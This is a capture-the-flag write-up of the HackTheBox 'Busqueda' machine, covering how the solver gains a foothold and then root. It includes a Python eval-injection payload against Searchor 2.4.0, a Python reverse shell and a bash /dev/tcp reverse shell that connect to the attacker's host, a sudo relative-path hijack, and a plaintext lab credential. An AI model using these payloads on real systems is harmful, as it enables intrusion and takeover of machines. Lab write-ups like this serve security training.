HackTheBox: Busqueda write-up

In this article we’ll attempt to solve the Busqueda room from HackTheBox. The solution involves exploiting a Flask website to gain initial access, abusing custom python scripts and taking advantage of password reuse. This challenge is rated as easy.

Enumeration and initial access

An initial scan with rustscan revealed two open ports: 22 and 80. I decided to explore the website first which redirected me to http://searcher.htb/. After mapping the domain name to the IP address of the machine in the /etc/hosts file I was able to visit the website.

The application allows users to input arbitrary text, which it then uses to construct a search query on the specified search engine. The query is sent to the server with two parameters: query and engine.

Attempting to input the ' character in the search field caused the application to break immediately and display an empty page. This behavior suggests that there is no input sanitization whatsoever.

I also discovered some interesting information located at the bottom of the web page. The website is built with Flask, a Python web framework, and utilizes the Searchor 2.4.0 library to construct its search queries:

After some research I found out that this version of Searchor has an arbitrary code execution flaw, as detailed on this Snyk page. Taking a look at the GitHub commit related to the vulnerability we can see that the library passes the search query into an eval() statement:

...
def search(engine, query, open, copy):
    try:
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
        url = Engine[engine].search(query, copy_url=copy, open_web=open)
...

Let’s test this and see if arbitrary code execution is possible. On my local machine I’ve setup tcpdump to listen for ICMP traffic with the following command:

tcpdump ip proto \\icmp -i tun0

I then crafted the following payload which should send a couple ping requests to my machine. It begins with ', to escape the python function call and ends with # to comment the rest of the line:

', exec("import subprocess;subprocess.run(['ping','-c','2', 'MY_IP']);"))#

We have code execution! Let’s run a netcat listener and adapt a reverse shell from revshells.com (Python #2 looked like a good candidate to me) and try to access the machine:

', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('MY_IP',MY_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

We get our shell as svc user. We can now proceed and use python to get a more stable shell and get the user flag in /home/svc/user.txt.

Machine enumeration

I proceeded with some enumeration of the machine. I found an interesting directory in /opt with some scripts (which we can’t read, unfortunately):

svc@busqueda:/var/www/app$ ls -alh /opt/scripts
total 28K
drwxr-xr-x 3 root root 4.0K Dec 24 18:23 .
drwxr-xr-x 4 root root 4.0K Mar  1 10:46 ..
-rwx--x--x 1 root root  586 Dec 24 21:23 check-ports.py
-rwx--x--x 1 root root  857 Dec 24 21:23 full-checkup.sh
drwxr-x--- 8 root root 4.0K Apr  3 15:04 .git
-rwx--x--x 1 root root 3.3K Dec 24 21:23 install-flask.sh
-rwx--x--x 1 root root 1.9K Dec 24 21:23 system-checkup.py

In the web application directory I also found a git configuration file with the some credentials for the user cody and the subdomain gitea.searcher.htb, which I added to my /etc/hosts file:

svc@busqueda:/var/www/app/.git$ cat config 
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
	remote = origin
	merge = refs/heads/main

I also found that this password was reused for the svc account. Using this information I was able to access the machine via SSH and obtain a proper shell. Let’s see if sudo is available:

svc@busqueda:~$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

Interesting. Let’s see what this script does:

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py something
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS             PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   3 months ago   Up About an hour   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   3 months ago   Up About an hour   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>

After conducting research on the docker inspect command, I found that it is used to extract detailed information about Docker objects, including their configuration details, network settings, metadata, and more. The --format argument can be used to specify the data we want to retrieve, allowing us to extract specific pieces of information. For example, the --format={{.Config}} argument can be used to retrieve the configuration of the object in a Go-style format.

Our custom docker-inspect script is asking for a format and a container name. Let’s try to use {{.Config}}:

We obtained new passwords for the MySQL database and Gitea. I couldn’t think of any other way to abuse the scripts so my next step was to explore gitea.searcher.htb which unsurprisingly turned out to be a Gitea instance. Using the credentials we obtained earlier, I logged in as cody but found nothing of particular interest to me except the existence of another user, administrator.

The Gitea password we dumped earlier turned out to be the password for the ‘administrator’ user account. With these credentials, we are able to access the administrator’s repository, where we finally find the source code for the Python scripts we had discovered earlier in the /opt/scripts directory. This allows us to examine the code and potentially identify any vulnerabilities or weaknesses that could be exploited to gain further access to the system.

The system-checkup.py script is particularly interesting. Upon inspecting the code, I discovered why it returned the “Something went wrong” message when it was previously ran. More importantly, I also identified a potential vulnerability that could be exploited to gain a root shell on the system. Take a closer look at how arg_list is constructed:

...
 elif action == 'full-checkup':
        try:
            arg_list = ['./full-checkup.sh']
            print(run_command(arg_list))
            print('[+] Done!')
        except:
            print('Something went wrong')
            exit(1)
...

The script uses a relative path to full-checkup.sh. This presents an opportunity to exploit the system by creating a custom full-checkup.sh in a directory that we have full access to with the following reverse shell:

#!/bin/bash

sh -i 5<> /dev/tcp/[MY_IP]/[MY_PORT] 0<&5 1>&5 2>&5

After setting up a netcat listener and executing sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup I was able to obtain a root shell. All that’s left to is get the root flag!

In the cyber world, coffee is the potion of champions. Support my efforts by offering me a virtual cup through 'Buy Me a Coffee'! Let's unravel the enigmas of CTF challenges and fortify our cyber arsenals together!

Leave a reply

Your email address will not be published. Required fields are marked *